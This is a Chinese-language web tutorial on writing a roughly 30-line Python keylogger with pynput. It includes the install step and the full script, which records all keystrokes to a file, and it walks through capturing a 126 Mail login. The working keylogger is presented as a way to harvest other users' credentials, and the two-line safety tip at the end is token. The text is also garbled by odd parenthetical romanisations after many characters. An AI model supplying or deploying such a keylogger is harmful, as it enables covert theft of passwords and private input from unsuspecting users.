python只需30行代碼就能記錄鍵盤的一舉一動(dòng)
先看看效果
Like This↓
一、公共WiFi 公用電腦什么的
在我們?nèi)粘T诰€上工作、玩耍時(shí),不論開電腦、登錄淘寶、玩網(wǎng)游
統(tǒng)統(tǒng)都會(huì)用到鍵盤輸入
在幾乎所有網(wǎng)站,例如淘寶、百度、126郵箱等等
為了保護(hù)用戶信息
登錄時(shí),輸入框都是不可見的。
但是,輸入框都在界面上隱藏,讓我們看不到,就能真正的確保萬(wàn)無(wú)一失嗎?
二、鍵盤記錄器
今天介紹一種,通過鍵盤記錄的方法,獲取用戶通過鍵盤輸入的所有信息。
并實(shí)現(xiàn)獲取126郵箱的登錄用戶信息。
三、python代碼實(shí)現(xiàn)
1、安裝pynput模塊
PS C:\WINDOWS\system32> pip install pynput Collecting pynput Downloading pynput-1.7.2-py2.py3-none-any.whl (99 kB) |████████████████████████████████| 99 kB 51 kB/s Requirement already satisfied: six in d:\python36\lib\site-packages (from pynput) (1.12.0) Installing collected packages: pynput Successfully installed pynput-1.7.2 PS C:\WINDOWS\system32>
2、腳本完整代碼
# -*- coding:utf-8 -*- from pynput.keyboard import Key, Controller,Listener import time keyboard = Controller() keys=[] def on_press(key): string = str(key).replace("'","") def on_release(key): global keys string = str(key).replace("'","") keys.append('\r'+string) main_string = "".join(keys) print(main_string) if len(main_string)>15: with open('D:\keys.txt', 'a') as f: f.write(main_string) keys= [] with Listener(on_press=on_press,on_release=on_release) as listener: listener.join()
3、啟動(dòng)腳本
將腳本放置在電腦的某個(gè)路徑下,運(yùn)行該程序;所有的鍵盤輸入,都會(huì)被記錄在相同目錄下的keys.txt文檔中。
PS D:\test> python .\keyRecord.py
4、登錄126郵箱 抓取用戶信息
在腳本運(yùn)行狀態(tài)下,登錄126郵箱,可以看到,通過鍵盤輸入的信息都被寫入到了keys.txt文檔中,包括用戶名輸完之后的tab按鈕和確定enter登錄按鈕
四、安全提示
陌生WiFi不要隨便連
陌生電腦不要隨便用
emmmm~~~~
到此這篇關(guān)于python只需30行代碼就能記錄鍵盤的一舉一動(dòng)的文章就介紹到這了,更多相關(guān)python記錄鍵盤內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
Android Messenger實(shí)現(xiàn)進(jìn)程間雙向通信
這篇文章主要為大家詳細(xì)介紹了Messenger實(shí)現(xiàn)進(jìn)程間雙向通信,文中示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2021-05-05Android實(shí)現(xiàn)EditText圖文混合插入上傳功能
這篇文章主要為大家詳細(xì)介紹了Android實(shí)現(xiàn)EditText圖文混合插入上傳功能,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2017-08-08Android開發(fā)教程之獲取系統(tǒng)輸入法高度的正確姿勢(shì)
這篇文章主要給大家介紹了關(guān)于Android開發(fā)教程之獲取系統(tǒng)輸入法高度的正確姿勢(shì),文中通過示例代碼介紹的非常詳細(xì),對(duì)大家學(xué)習(xí)或者使用Android具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2018-10-10Android下Activity全屏顯示實(shí)現(xiàn)方法
這篇文章主要介紹了Android下Activity全屏顯示實(shí)現(xiàn)方法,以兩種不同的方法來(lái)實(shí)現(xiàn)這一技巧,非常具有實(shí)用性,需要的朋友可以參考下2014-10-10Android入門之在SharedPreference中使用加密
這篇文章主要為大家詳細(xì)介紹了Android如何使在SharedPreference中使用加密,文中的示例代碼講解詳細(xì),對(duì)我們學(xué)習(xí)Android有一定的幫助,需要的可以參考一下2022-12-12Android 三種動(dòng)畫詳解及簡(jiǎn)單實(shí)例
這篇文章主要介紹了Android 三種動(dòng)畫詳解及簡(jiǎn)單實(shí)例的相關(guān)資料,需要的朋友可以參考下2017-04-04